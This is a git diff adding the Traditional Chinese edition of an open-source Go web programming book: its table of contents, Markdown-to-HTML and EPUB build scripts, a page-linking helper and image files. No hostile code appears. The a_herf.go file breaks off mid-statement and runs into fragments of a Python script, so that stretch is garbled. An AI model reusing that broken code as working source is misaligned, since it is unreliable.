+* [訪問資料庫](05.0.md) + * [database/sql 介面](05.1.md) + * [使用 MySQL 資料庫](05.2.md) + * [使用 SQLite 資料庫](05.3.md) + * [使用 PostgreSQL 資料庫](05.4.md) + * [使用 beedb 函式庫進行 ORM 開發](05.5.md) + * [NOSQL 資料庫操作](05.6.md) + * [小結](05.7.md) +* [session 和資料儲存](06.0.md) + * [session 和 cookie](06.1.md) + * [Go 如何使用 session](06.2.md) + * [session 儲存](06.3.md) + * [預防 session 劫持](06.4.md) + * [小結](06.5.md) +* [文字檔案處理](07.0.md) + * [XML 處理](07.1.md) + * [JSON 處理](07.2.md) + * [正則處理](07.3.md) + * [範本處理](07.4.md) + * [檔案操作](07.5.md) + * [字串處理](07.6.md) + * [小結](07.7.md) +* [Web 服務](08.0.md) + * [Socket 程式設計](08.1.md) + * [WebSocket](08.2.md) + * [REST](08.3.md) + * [RPC](08.4.md) + * [小結](08.5.md) +* [安全與加密](09.0.md) + * [預防 CSRF 攻擊](09.1.md) + * [確保輸入過濾](09.2.md) + * [避免 XSS 攻擊](09.3.md) + * [避免 SQL 注入](09.4.md) + * [儲存密碼](09.5.md) + * [加密和解密資料](09.6.md) + * [小結](09.7.md) +* [國際化和本地化](10.0.md) + * [設定預設地區](10.1.md) + * [本地化資源](10.2.md) + * [國際化站點](10.3.md) + * [小結](10.4.md) +* [錯誤處理,除錯和測試](11.0.md) + * [錯誤處理](11.1.md) + * [使用 GDB 除錯](11.2.md) + * [Go 怎麼寫測試案例](11.3.md) + * [小結](11.4.md) +* [部署與維護](12.0.md) + * [應用日誌](12.1.md) + * [網站錯誤處理](12.2.md) + * [應用部署](12.3.md) + * [備份和還原](12.4.md) + * [小結](12.5.md) +* [如何設計一個 Web 框架](13.0.md)  + * [專案規劃](13.1.md)  + * [自訂路由器設計](13.2.md) + * [controller 設計](13.3.md) + * [日誌和配置設計](13.4.md) + * [實現部落格的增刪改](13.5.md) + * [小結](13.6.md)  +* [擴充套件 Web 框架](14.0.md) + * [靜態檔案支援](14.1.md) + * [Session 支援](14.2.md) + * [表單支援](14.3.md) + * [使用者認證](14.4.md) + * [多語言支援](14.5.md) + * [pprof 支援](14.6.md) + * [小結](14.7.md) +* [參考資料](ref.md) \ No newline at end of file diff --git a/zh-tw/a_herf.go b/zh-tw/a_herf.go new file mode 100644 index 000000000..86363789d --- /dev/null +++ b/zh-tw/a_herf.go @@ -0,0 +1,103 @@ +package main + +import( + "fmt" + "log" + "os" + "path/filepath" + "sort" +) +func dir()([]string,error) { + path, err := os.Getwd() + if err != nil { + fmt.Println("err is:", err) + } + log.Println(path) + path =path +"/*.html" + + fmt.Println(path) + files,err := filepath.Glob(path) + var s =make([]string,len(files)) + var head uint8 =0 + for _,k :=range files { + filename := filepath.Base(k) + head=filename[0] + if (head < 52) { + s = append(s, filename) + fmt.Println(filename) + } + } + sort.Strings(s) + + return s,err + } + + +func htmlfile(filename string,next_path string,last_path string)(error){ + file,err:= os.OpenFile("./"+filename,os.O_RDWR,0666) + if err !=nil{ + fmt.Println("something is err :",err) + } + defer file.Close() + var add_string1 string = "\n下一页\n" + var add_string2 string = "\n下一页\n" + file.Seek(1,2) + _,err=file.WriteString(add_string1) + if(err!=nil){ + fmt.Println("err:",err) + } + _,err=file.WriteString(add_string2) + file.Seek(0,0) + if(err!=nil){ + fmt.Println("err:",err) + } + var f =make([]byte,50000) + _,err=file.Read(f) + if(err!=nil){ + fmt.Println("error:",err) + } + //fmt.Println(string(f)) + return err +} +func nextandlast(filenames []string,index int )(filename string,next_path string,last_path string){ + fmt.Println(index," ---",index+1) + filename = filenames[index] + if(0下一页\n') + f.write('\n上一页\n') + + k = k+1 +print("end!") diff --git a/zh-tw/build-web-application-with-golang.azw3 b/zh-tw/build-web-application-with-golang.azw3 new file mode 100644 index 000000000..f65a718c6 Binary files /dev/null and b/zh-tw/build-web-application-with-golang.azw3 differ diff --git a/zh-tw/build.go b/zh-tw/build.go new file mode 100644 index 000000000..60294a184 --- /dev/null +++ b/zh-tw/build.go @@ -0,0 +1,127 @@ +package main + +import ( + "bufio" + "fmt" + "github.com/a8m/mark" + "io/ioutil" + "os" + "path/filepath" + "regexp" + "strings" +) + +// 定义一个访问者结构体 +type Visitor struct{} + +func (self *Visitor) md2html(arg map[string]string) error { + from := arg["from"] + to := arg["to"] + s := ` +` + err := filepath.Walk(from+"/", func(path string, f os.FileInfo, err error) error { + if f == nil { + return err + } + if f.IsDir() { + return nil + } + if (f.Mode() & os.ModeSymlink) > 0 { + return nil + } + if !strings.HasSuffix(f.Name(), ".md") { + return nil + } + + file, err := os.Open(path) + if err != nil { + return err + } + + input_byte, _ := ioutil.ReadAll(file) + input := string(input_byte) + input = regexp.MustCompile(`\[(.*?)\]\(?\)`).ReplaceAllString(input, "[$1](<$2.html>)") + + if f.Name() == "README.md" { + input = regexp.MustCompile(`https:\/\/github\.com\/astaxie\/build-web-application-with-golang\/blob\/master\/`).ReplaceAllString(input, "") + } + + // 以#开头的行,在#后增加空格 + // 以#开头的行, 删除多余的空格 + input = FixHeader(input) + + // 删除页面链接 + input = RemoveFooterLink(input) + + // remove image suffix + input = RemoveImageLinkSuffix(input) + + var out *os.File + filename := strings.Replace(f.Name(), ".md", ".html", -1) + fmt.Println(to + "/" + filename) + if out, err = os.Create(to + "/" + filename); err != nil { + fmt.Fprintf(os.Stderr, "Error creating %s: %v", f.Name(), err) + os.Exit(-1) + } + defer out.Close() + opts := mark.DefaultOptions() + opts.Smartypants = true + opts.Fractions = true + // r1 := []rune(s1) + m := mark.New(input, opts) + w := bufio.NewWriter(out) + n4, err := w.WriteString(s + m.Render()) + fmt.Printf("wrote %d bytes\n", n4) + w.Flush() + if err != nil { + fmt.Fprintln(os.Stderr, "Parsing Error", err) + os.Exit(-1) + } + + return nil + }) + return err +} + +func FixHeader(input string) string { + re_header := regexp.MustCompile(`(?m)^#.+$`) + re_sub := regexp.MustCompile(`^(#+)\s*(.+)$`) + fixer := func(header string) string { + s := re_sub.FindStringSubmatch(header) + return s[1] + " " + s[2] + } + return re_header.ReplaceAllStringFunc(input, fixer) +} + +func RemoveFooterLink(input string) string { + re_footer := regexp.MustCompile(`(?m)^#{2,} links.*?\n(.+\n)*`) + return re_footer.ReplaceAllString(input, "") +} + +func RemoveImageLinkSuffix(input string) string { + re_footer := regexp.MustCompile(`png\?raw=true`) + return re_footer.ReplaceAllString(input, "png") +} + +func main() { + tmp := os.Getenv("TMP") + if tmp == "" { + tmp = "." + } + + workdir := os.Getenv("WORKDIR") + if workdir == "" { + workdir = "." + } + + arg := map[string]string{ + "from": workdir, + "to": tmp, + } + + v := &Visitor{} + err := v.md2html(arg) + if err != nil { + fmt.Printf("filepath.Walk() returned %v\n", err) + } +} diff --git a/zh-tw/build.sh b/zh-tw/build.sh new file mode 100644 index 000000000..2deb646c9 --- /dev/null +++ b/zh-tw/build.sh @@ -0,0 +1,59 @@ +#!/bin/bash + +SED='sed' + +if [ `uname -s` == 'Darwin' ] ; then + SED='gsed' +fi + +bn="`basename $0`" +WORKDIR="$(cd $(dirname $0); pwd -P)" + +# +# Default language: zh +# You can overwrite following variables in config file. +# +MSG_INSTALL_PANDOC_FIRST='请先安装pandoc,然后再次运行' +MSG_SUCCESSFULLY_GENERATED='build-web-application-with-golang.epub 已经建立' +MSG_CREATOR='Astaxie' +MSG_DESCRIPTION='一本开源的Go Web编程书籍' +MSG_LANGUAGE='zh-CN' +MSG_TITLE='Go Web编程' +[ -e "$WORKDIR/config" ] && . "$WORKDIR/config" + + +TMP=`mktemp -d 2>/dev/null || mktemp -d -t "${bn}"` || exit 1 +# TMP=./build +# trap 'rm -rf "$TMP"' 0 1 2 3 15 + + +cd "$TMP" + +( +[ go list github.com/a8m/mark >/dev/null 2>&1 ] || export GOPATH="$PWD" +go get -u github.com/a8m/mark +WORKDIR="$WORKDIR" TMP="$TMP" go run "$WORKDIR/build.go" +) + +if [ ! type -P pandoc >/dev/null 2>&1 ]; then + echo "$MSG_INSTALL_PANDOC_FIRST" + exit 0 +fi + +cat <<__METADATA__ > metadata.txt +$MSG_CREATOR +$MSG_DESCRIPTION +$MSG_LANGUAGE +Creative Commons +$MSG_TITLE +__METADATA__ + +mkdir -p $TMP/images +cp -r $WORKDIR/images/* $TMP/images/ +ls [0-9]*.html | xargs $SED -i "s/png?raw=true/png/g" + +echo "工作目录$WORKDIR, 临时目录$TMP" + +pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/build-web-application-with-golang.epub" `ls [0-9]*.html | sort` + +echo "$MSG_SUCCESSFULLY_GENERATED" diff --git a/zh-tw/build_new.go b/zh-tw/build_new.go new file mode 100644 index 000000000..70c939b64 --- /dev/null +++ b/zh-tw/build_new.go @@ -0,0 +1,150 @@ +package main + +import ( + "fmt" + "io/ioutil" + "bufio" + "net/http" + "os" + "path/filepath" + "regexp" + "strings" +) + +// 开发者 GitHub token +const token = "" + +// 定义一个访问者结构体 +type Visitor struct{} + +func (self *Visitor) md2html(arg map[string]string) error { + from := arg["from"] + to := arg["to"] + s := ` +` + err := filepath.Walk(from+"/", func(path string, f os.FileInfo, err error) error { + if f == nil { + return err + } + if f.IsDir() { + return nil + } + if (f.Mode() & os.ModeSymlink) > 0 { + return nil + } + if !strings.HasSuffix(f.Name(), ".md") { + return nil + } + + file, err := os.Open(path) + if err != nil { + return err + } + + input_byte, _ := ioutil.ReadAll(file) + input := string(input_byte) + input = regexp.MustCompile(`\[(.*?)\]\(?\)`).ReplaceAllString(input, "[$1](<$2.html>)") + + if f.Name() == "README.md" { + input = regexp.MustCompile(`https:\/\/github\.com\/astaxie\/build-web-application-with-golang\/blob\/master\/`).ReplaceAllString(input, "") + } + + // 以#开头的行,在#后增加空格 + // 以#开头的行, 删除多余的空格 + input = FixHeader(input) + + // 删除页面链接 + input = RemoveFooterLink(input) + + // remove image suffix + input = RemoveImageLinkSuffix(input) + + var out *os.File + filename := strings.Replace(f.Name(), ".md", ".html", -1) + fmt.Println(to + "/" + filename) + if out, err = os.Create(to + "/" + filename); err != nil { + fmt.Fprintf(os.Stderr, "Error creating %s: %v", f.Name(), err) + os.Exit(-1) + } + defer out.Close() + client := &http.Client{} + + req, err := http.NewRequest("POST", "https://api.github.com/markdown/raw", strings.NewReader(input)) + if err != nil { + // handle error + } + + req.Header.Set("Content-Type", "text/plain") + req.Header.Set("charset", "utf-8") + req.Header.Set("Authorization", "token "+token) + // + resp, err := client.Do(req) + if err != nil { + fmt.Println("err:",err) + } + + defer resp.Body.Close() + + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + // handle error + } + + w := bufio.NewWriter(out) + n4, err := w.WriteString(s + string(body)) //m.Render() + fmt.Printf("wrote %d bytes\n", n4) + // fmt.Printf("wrote %d bytes\n", n4) + //使用 Flush 来确保所有缓存的操作已写入底层写入器。 + w.Flush() + if err != nil { + fmt.Fprintln(os.Stderr, "Parsing Error", err) + os.Exit(-1) + } + + return nil + }) + return err +} + +func FixHeader(input string) string { + re_header := regexp.MustCompile(`(?m)^#.+$`) + re_sub := regexp.MustCompile(`^(#+)\s*(.+)$`) + fixer := func(header string) string { + s := re_sub.FindStringSubmatch(header) + return s[1] + " " + s[2] + } + return re_header.ReplaceAllStringFunc(input, fixer) +} + +func RemoveFooterLink(input string) string { + re_footer := regexp.MustCompile(`(?m)^#{2,} links.*?\n(.+\n)*`) + return re_footer.ReplaceAllString(input, "") +} + +func RemoveImageLinkSuffix(input string) string { + re_footer := regexp.MustCompile(`png\?raw=true`) + return re_footer.ReplaceAllString(input, "png") +} + +func main() { + tmp := os.Getenv("TMP") + if tmp == "" { + tmp = "." + } + + workdir := os.Getenv("WORKDIR") + if workdir == "" { + workdir = "." + } + + arg := map[string]string{ + "from": workdir, + "to": tmp, + } + + v := &Visitor{} + err := v.md2html(arg) + if err != nil { + fmt.Printf("filepath.Walk() returned %v\n", err) + } +} diff --git a/zh-tw/build_new.sh b/zh-tw/build_new.sh new file mode 100644 index 000000000..51ef75afc --- /dev/null +++ b/zh-tw/build_new.sh @@ -0,0 +1,59 @@ +#!/bin/bash + +SED='sed' + +if [ `uname -s` == 'Darwin' ] ; then + SED='gsed' +fi + +bn="`basename $0`" +WORKDIR="$(cd $(dirname $0); pwd -P)" + +# +# Default language: zh +# You can overwrite following variables in config file. +# +MSG_INSTALL_PANDOC_FIRST='请先安装pandoc,然后再次运行' +MSG_SUCCESSFULLY_GENERATED='build-web-application-with-golang.epub 已经建立' +MSG_CREATOR='M2shad0w' +MSG_DESCRIPTION='一本开源的Go Web编程书籍' +MSG_LANGUAGE='zh-CN' +MSG_TITLE='Go Web编程' +[ -e "$WORKDIR/config" ] && . "$WORKDIR/config" + + +TMP=`mktemp -d 2>/dev/null || mktemp -d -t "${bn}"` || exit 1 +# TMP=./build +trap 'rm -rf "$TMP"' 0 1 2 3 15 + + +cd "$TMP" + +( +# [ go list github.com/a8m/mark >/dev/null 2>&1 ] || export GOPATH="$PWD" +# go get -u github.com/a8m/mark +WORKDIR="$WORKDIR" TMP="$TMP" go run "$WORKDIR/build_new.go" +) + +if [ ! type -P pandoc >/dev/null 2>&1 ]; then + echo "$MSG_INSTALL_PANDOC_FIRST" + exit 0 +fi + +cat <<__METADATA__ > metadata.txt +$MSG_CREATOR +$MSG_DESCRIPTION +$MSG_LANGUAGE +Creative Commons +$MSG_TITLE +__METADATA__ + +mkdir -p $TMP/images +cp -r $WORKDIR/images/* $TMP/images/ +ls [0-9]*.html | xargs $SED -i "s/png?raw=true/png/g" + +echo "工作目录$WORKDIR, 临时目录$TMP" + +pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/build-web-application-with-golang.epub" `ls [0-9]*.html | sort` + +echo "$MSG_SUCCESSFULLY_GENERATED" diff --git a/zh-tw/images/1.1.cmd.png b/zh-tw/images/1.1.cmd.png new file mode 100644 index 000000000..0df2504b2 Binary files /dev/null and b/zh-tw/images/1.1.cmd.png differ diff --git a/zh-tw/images/1.1.linux.png b/zh-tw/images/1.1.linux.png new file mode 100644 index 000000000..45ffd9240 Binary files /dev/null and b/zh-tw/images/1.1.linux.png differ diff --git a/zh-tw/images/1.1.mac.png b/zh-tw/images/1.1.mac.png new file mode 100644 index 000000000..45ffd9240 Binary files /dev/null and b/zh-tw/images/1.1.mac.png differ diff --git a/zh-tw/images/1.3.go.png b/zh-tw/images/1.3.go.png new file mode 100644 index 000000000..8155b2d5e Binary files /dev/null and b/zh-tw/images/1.3.go.png differ diff --git a/zh-tw/images/1.4.eclipse1.png b/zh-tw/images/1.4.eclipse1.png new file mode 100644 index 000000000..5b2f10d8c Binary files /dev/null and b/zh-tw/images/1.4.eclipse1.png differ diff --git a/zh-tw/images/1.4.eclipse2.png b/zh-tw/images/1.4.eclipse2.png new file mode 100644 index 000000000..55931f33c Binary files /dev/null and b/zh-tw/images/1.4.eclipse2.png differ diff --git a/zh-tw/images/1.4.eclipse3.png b/zh-tw/images/1.4.eclipse3.png new file mode 100644 index 000000000..3c7bd6342 Binary files /dev/null and b/zh-tw/images/1.4.eclipse3.png differ diff --git a/zh-tw/images/1.4.eclipse4.png b/zh-tw/images/1.4.eclipse4.png new file mode 100644 index 000000000..d4ee77af1 Binary files /dev/null and b/zh-tw/images/1.4.eclipse4.png differ diff --git a/zh-tw/images/1.4.eclipse5.png b/zh-tw/images/1.4.eclipse5.png new file mode 100644 index 000000000..8a89555d3 Binary files /dev/null and b/zh-tw/images/1.4.eclipse5.png differ diff --git a/zh-tw/images/1.4.eclipse6.png b/zh-tw/images/1.4.eclipse6.png new file mode 100644 index 000000000..7771ec2e2 Binary files /dev/null and b/zh-tw/images/1.4.eclipse6.png differ diff --git a/zh-tw/images/1.4.emacs.png b/zh-tw/images/1.4.emacs.png new file mode 100644 index 000000000..3dd6845ff Binary files /dev/null and b/zh-tw/images/1.4.emacs.png differ diff --git a/zh-tw/images/1.4.idea1.png b/zh-tw/images/1.4.idea1.png new file mode 100644 index 000000000..87d2e51e0 Binary files /dev/null and b/zh-tw/images/1.4.idea1.png differ diff --git a/zh-tw/images/1.4.idea2.png b/zh-tw/images/1.4.idea2.png new file mode 100644 index 000000000..8059b20ff Binary files /dev/null and b/zh-tw/images/1.4.idea2.png differ diff --git a/zh-tw/images/1.4.idea3.png b/zh-tw/images/1.4.idea3.png new file mode 100644 index 000000000..574e1d74b Binary files /dev/null and b/zh-tw/images/1.4.idea3.png differ diff --git a/zh-tw/images/1.4.idea4.png b/zh-tw/images/1.4.idea4.png new file mode 100644 index 000000000..f6e5138dc Binary files /dev/null and b/zh-tw/images/1.4.idea4.png differ diff --git a/zh-tw/images/1.4.idea5.png b/zh-tw/images/1.4.idea5.png new file mode 100644 index 000000000..7784a6116 Binary files /dev/null and b/zh-tw/images/1.4.idea5.png differ diff --git a/zh-tw/images/1.4.liteide.png b/zh-tw/images/1.4.liteide.png new file mode 100644 index 000000000..f28d755e5 Binary files /dev/null and b/zh-tw/images/1.4.liteide.png differ diff --git a/zh-tw/images/1.4.sublime1.png b/zh-tw/images/1.4.sublime1.png new file mode 100644 index 000000000..60f2b3dbc Binary files /dev/null and b/zh-tw/images/1.4.sublime1.png differ diff --git a/zh-tw/images/1.4.sublime2.png b/zh-tw/images/1.4.sublime2.png new file mode 100644 index 000000000..a888636f1 Binary files /dev/null and b/zh-tw/images/1.4.sublime2.png differ diff --git a/zh-tw/images/1.4.sublime3.png b/zh-tw/images/1.4.sublime3.png new file mode 100644 index 000000000..8b2eb3dcd Binary files /dev/null and b/zh-tw/images/1.4.sublime3.png differ diff --git a/zh-tw/images/1.4.sublime4.png b/zh-tw/images/1.4.sublime4.png new file mode 100644 index 000000000..b0fef6249 Binary files /dev/null and b/zh-tw/images/1.4.sublime4.png differ diff --git a/zh-tw/images/1.4.vim.png b/zh-tw/images/1.4.vim.png new file mode 100644 index 000000000..27a15c056 Binary files /dev/null and b/zh-tw/images/1.4.vim.png differ diff --git a/zh-tw/images/13.1.flow.png b/zh-tw/images/13.1.flow.png new file mode 100644 index 000000000..b47e5bfc5 Binary files /dev/null and b/zh-tw/images/13.1.flow.png differ diff --git a/zh-tw/images/13.1.gopath.png b/zh-tw/images/13.1.gopath.png new file mode 100644 index 000000000..c948437a6 Binary files /dev/null and b/zh-tw/images/13.1.gopath.png differ diff --git a/zh-tw/images/13.1.gopath2.png b/zh-tw/images/13.1.gopath2.png new file mode 100644 index 000000000..450b41048 Binary files /dev/null and b/zh-tw/images/13.1.gopath2.png differ diff --git a/zh-tw/images/13.4.beego.png b/zh-tw/images/13.4.beego.png new file mode 100644 index 000000000..96a9d2743 Binary files /dev/null and b/zh-tw/images/13.4.beego.png differ diff --git a/zh-tw/images/14.1.bootstrap.png b/zh-tw/images/14.1.bootstrap.png new file mode 100644 index 000000000..13ab7f829 Binary files /dev/null and b/zh-tw/images/14.1.bootstrap.png differ diff --git a/zh-tw/images/14.1.bootstrap2.png b/zh-tw/images/14.1.bootstrap2.png new file mode 100644 index 000000000..753ffc790 Binary files /dev/null and b/zh-tw/images/14.1.bootstrap2.png differ diff --git a/zh-tw/images/14.1.bootstrap3.png b/zh-tw/images/14.1.bootstrap3.png new file mode 100644 index 000000000..460b81830 Binary files /dev/null and b/zh-tw/images/14.1.bootstrap3.png differ diff --git a/zh-tw/images/14.4.github.png b/zh-tw/images/14.4.github.png new file mode 100644 index 000000000..4da4c6f5d Binary files /dev/null and b/zh-tw/images/14.4.github.png differ diff --git a/zh-tw/images/14.4.github2.png b/zh-tw/images/14.4.github2.png new file mode 100644 index 000000000..c3ae04bf8 Binary files /dev/null and b/zh-tw/images/14.4.github2.png differ diff --git a/zh-tw/images/14.4.github3.png b/zh-tw/images/14.4.github3.png new file mode 100644 index 000000000..e98768c3e Binary files /dev/null and b/zh-tw/images/14.4.github3.png differ diff --git a/zh-tw/images/14.6.pprof.png b/zh-tw/images/14.6.pprof.png new file mode 100644 index 000000000..532f1a764 Binary files /dev/null and b/zh-tw/images/14.6.pprof.png differ diff --git a/zh-tw/images/14.6.pprof2.png b/zh-tw/images/14.6.pprof2.png new file mode 100644 index 000000000..610c93a4d Binary files /dev/null and b/zh-tw/images/14.6.pprof2.png differ diff --git a/zh-tw/images/14.6.pprof3.png b/zh-tw/images/14.6.pprof3.png new file mode 100644 index 000000000..a3b9f7baa Binary files /dev/null and b/zh-tw/images/14.6.pprof3.png differ diff --git a/zh-tw/images/2.2.array.png b/zh-tw/images/2.2.array.png new file mode 100644 index 000000000..5560023b2 Binary files /dev/null and b/zh-tw/images/2.2.array.png differ diff --git a/zh-tw/images/2.2.basic.png b/zh-tw/images/2.2.basic.png new file mode 100644 index 000000000..9bac6a0fc Binary files /dev/null and b/zh-tw/images/2.2.basic.png differ diff --git a/zh-tw/images/2.2.makenew.png b/zh-tw/images/2.2.makenew.png new file mode 100644 index 000000000..00f74179f Binary files /dev/null and b/zh-tw/images/2.2.makenew.png differ diff --git a/zh-tw/images/2.2.slice.png b/zh-tw/images/2.2.slice.png new file mode 100644 index 000000000..119f21418 Binary files /dev/null and b/zh-tw/images/2.2.slice.png differ diff --git a/zh-tw/images/2.2.slice2.png b/zh-tw/images/2.2.slice2.png new file mode 100644 index 000000000..0729a1bf8 Binary files /dev/null and b/zh-tw/images/2.2.slice2.png differ diff --git a/zh-tw/images/2.3.init.png b/zh-tw/images/2.3.init.png new file mode 100644 index 000000000..abe7cfad0 Binary files /dev/null and b/zh-tw/images/2.3.init.png differ diff --git a/zh-tw/images/2.4.student_struct.png b/zh-tw/images/2.4.student_struct.png new file mode 100644 index 000000000..7c4f87acb Binary files /dev/null and b/zh-tw/images/2.4.student_struct.png differ diff --git a/zh-tw/images/2.5.rect_func_without_receiver.png b/zh-tw/images/2.5.rect_func_without_receiver.png new file mode 100644 index 000000000..b4b571fd1 Binary files /dev/null and b/zh-tw/images/2.5.rect_func_without_receiver.png differ diff --git a/zh-tw/images/2.5.shapes_func_with_receiver_cp.png b/zh-tw/images/2.5.shapes_func_with_receiver_cp.png new file mode 100644 index 000000000..2d26a01dd Binary files /dev/null and b/zh-tw/images/2.5.shapes_func_with_receiver_cp.png differ diff --git a/zh-tw/images/2.5.shapes_func_without_receiver.png b/zh-tw/images/2.5.shapes_func_without_receiver.png new file mode 100644 index 000000000..112f56fc6 Binary files /dev/null and b/zh-tw/images/2.5.shapes_func_without_receiver.png differ diff --git a/zh-tw/images/3.1.dns2.png b/zh-tw/images/3.1.dns2.png new file mode 100644 index 000000000..f432edf34 Binary files /dev/null and b/zh-tw/images/3.1.dns2.png differ diff --git a/zh-tw/images/3.1.dns_hierachy.png b/zh-tw/images/3.1.dns_hierachy.png new file mode 100644 index 000000000..8dfeb2326 Binary files /dev/null and b/zh-tw/images/3.1.dns_hierachy.png differ diff --git a/zh-tw/images/3.1.dns_inquery.png b/zh-tw/images/3.1.dns_inquery.png new file mode 100644 index 000000000..b95d952ee Binary files /dev/null and b/zh-tw/images/3.1.dns_inquery.png differ diff --git a/zh-tw/images/3.1.http.png b/zh-tw/images/3.1.http.png new file mode 100644 index 000000000..25108bf3d Binary files /dev/null and b/zh-tw/images/3.1.http.png differ diff --git a/zh-tw/images/3.1.httpPOST.png b/zh-tw/images/3.1.httpPOST.png new file mode 100644 index 000000000..31d02020c Binary files /dev/null and b/zh-tw/images/3.1.httpPOST.png differ diff --git a/zh-tw/images/3.1.response.png b/zh-tw/images/3.1.response.png new file mode 100644 index 000000000..978de7904 Binary files /dev/null and b/zh-tw/images/3.1.response.png differ diff --git a/zh-tw/images/3.1.web.png b/zh-tw/images/3.1.web.png new file mode 100644 index 000000000..5b98b5dc2 Binary files /dev/null and b/zh-tw/images/3.1.web.png differ diff --git a/zh-tw/images/3.1.web2.png b/zh-tw/images/3.1.web2.png new file mode 100644 index 000000000..a604c2179 Binary files /dev/null and b/zh-tw/images/3.1.web2.png differ diff --git a/zh-tw/images/3.2.goweb.png b/zh-tw/images/3.2.goweb.png new file mode 100644 index 000000000..d6a538299 Binary files /dev/null and b/zh-tw/images/3.2.goweb.png differ diff --git a/zh-tw/images/3.3.http.png b/zh-tw/images/3.3.http.png new file mode 100644 index 000000000..40137e33d Binary files /dev/null and b/zh-tw/images/3.3.http.png differ diff --git a/zh-tw/images/3.3.illustrator.png b/zh-tw/images/3.3.illustrator.png new file mode 100644 index 000000000..8159b8bb4 Binary files /dev/null and b/zh-tw/images/3.3.illustrator.png differ diff --git a/zh-tw/images/4.1.login.png b/zh-tw/images/4.1.login.png new file mode 100644 index 000000000..dfca39df4 Binary files /dev/null and b/zh-tw/images/4.1.login.png differ diff --git a/zh-tw/images/4.1.slice.png b/zh-tw/images/4.1.slice.png new file mode 100644 index 000000000..3405c147d Binary files /dev/null and b/zh-tw/images/4.1.slice.png differ diff --git a/zh-tw/images/4.3.escape.png b/zh-tw/images/4.3.escape.png new file mode 100644 index 000000000..76ce12458 Binary files /dev/null and b/zh-tw/images/4.3.escape.png differ diff --git a/zh-tw/images/4.4.token.png b/zh-tw/images/4.4.token.png new file mode 100644 index 000000000..b52cc1d1f Binary files /dev/null and b/zh-tw/images/4.4.token.png differ diff --git a/zh-tw/images/4.5.upload.png b/zh-tw/images/4.5.upload.png new file mode 100644 index 000000000..e5766e385 Binary files /dev/null and b/zh-tw/images/4.5.upload.png differ diff --git a/zh-tw/images/4.5.upload2.png b/zh-tw/images/4.5.upload2.png new file mode 100644 index 000000000..064604469 Binary files /dev/null and b/zh-tw/images/4.5.upload2.png differ diff --git a/zh-tw/images/5.6.mongodb.png b/zh-tw/images/5.6.mongodb.png new file mode 100644 index 000000000..6161fbe56 Binary files /dev/null and b/zh-tw/images/5.6.mongodb.png differ diff --git a/zh-tw/images/6.1.cookie.png b/zh-tw/images/6.1.cookie.png new file mode 100644 index 000000000..b94559cf5 Binary files /dev/null and b/zh-tw/images/6.1.cookie.png differ diff --git a/zh-tw/images/6.1.cookie2.png b/zh-tw/images/6.1.cookie2.png new file mode 100644 index 000000000..2888e3927 Binary files /dev/null and b/zh-tw/images/6.1.cookie2.png differ diff --git a/zh-tw/images/6.1.session.png b/zh-tw/images/6.1.session.png new file mode 100644 index 000000000..f538b8f5b Binary files /dev/null and b/zh-tw/images/6.1.session.png differ diff --git a/zh-tw/images/6.4.cookie.png b/zh-tw/images/6.4.cookie.png new file mode 100644 index 000000000..0dad93f17 Binary files /dev/null and b/zh-tw/images/6.4.cookie.png differ diff --git a/zh-tw/images/6.4.hijack.png b/zh-tw/images/6.4.hijack.png new file mode 100644 index 000000000..5ab0753f0 Binary files /dev/null and b/zh-tw/images/6.4.hijack.png differ diff --git a/zh-tw/images/6.4.hijacksuccess.png b/zh-tw/images/6.4.hijacksuccess.png new file mode 100644 index 000000000..57f48d41f Binary files /dev/null and b/zh-tw/images/6.4.hijacksuccess.png differ diff --git a/zh-tw/images/6.4.setcookie.png b/zh-tw/images/6.4.setcookie.png new file mode 100644 index 000000000..dbb52170c Binary files /dev/null and b/zh-tw/images/6.4.setcookie.png differ diff --git a/zh-tw/images/7.4.template.png b/zh-tw/images/7.4.template.png new file mode 100644 index 000000000..195e24fb1 Binary files /dev/null and b/zh-tw/images/7.4.template.png differ diff --git a/zh-tw/images/8.1.socket.png b/zh-tw/images/8.1.socket.png new file mode 100644 index 000000000..93dd544d6 Binary files /dev/null and b/zh-tw/images/8.1.socket.png differ diff --git a/zh-tw/images/8.2.websocket.png b/zh-tw/images/8.2.websocket.png new file mode 100644 index 000000000..b293c6536 Binary files /dev/null and b/zh-tw/images/8.2.websocket.png differ diff --git a/zh-tw/images/8.2.websocket2.png b/zh-tw/images/8.2.websocket2.png new file mode 100644 index 000000000..b744c634e Binary files /dev/null and b/zh-tw/images/8.2.websocket2.png differ diff --git a/zh-tw/images/8.2.websocket3.png b/zh-tw/images/8.2.websocket3.png new file mode 100644 index 000000000..ee769c164 Binary files /dev/null and b/zh-tw/images/8.2.websocket3.png differ diff --git a/zh-tw/images/8.3.rest.png b/zh-tw/images/8.3.rest.png new file mode 100644 index 000000000..0c1e5b541 Binary files /dev/null and b/zh-tw/images/8.3.rest.png differ diff --git a/zh-tw/images/8.3.rest2.png b/zh-tw/images/8.3.rest2.png new file mode 100644 index 000000000..b43c08044 Binary files /dev/null and b/zh-tw/images/8.3.rest2.png differ diff --git a/zh-tw/images/8.3.rest3.png b/zh-tw/images/8.3.rest3.png new file mode 100644 index 000000000..1f62b5057 Binary files /dev/null and b/zh-tw/images/8.3.rest3.png differ diff --git a/zh-tw/images/8.4.rpc.png b/zh-tw/images/8.4.rpc.png new file mode 100644 index 000000000..0b3fcfe2a Binary files /dev/null and b/zh-tw/images/8.4.rpc.png differ diff --git a/zh-tw/images/9.1.csrf.png b/zh-tw/images/9.1.csrf.png new file mode 100644 index 000000000..54d3a4349 Binary files /dev/null and b/zh-tw/images/9.1.csrf.png differ diff --git a/zh-tw/images/alipay.png b/zh-tw/images/alipay.png new file mode 100644 index 000000000..2bac3531d Binary files /dev/null and b/zh-tw/images/alipay.png differ diff --git a/zh-tw/images/cover.png b/zh-tw/images/cover.png new file mode 100644 index 000000000..22bfab449 Binary files /dev/null and b/zh-tw/images/cover.png differ diff --git a/zh-tw/images/ebook.jpg b/zh-tw/images/ebook.jpg new file mode 100644 index 000000000..b2f3710db Binary files /dev/null and b/zh-tw/images/ebook.jpg differ diff --git a/zh-tw/images/navi1.png b/zh-tw/images/navi1.png new file mode 100644 index 000000000..92a7669e7 Binary files /dev/null and b/zh-tw/images/navi1.png differ diff --git a/zh-tw/images/navi10.png b/zh-tw/images/navi10.png new file mode 100644 index 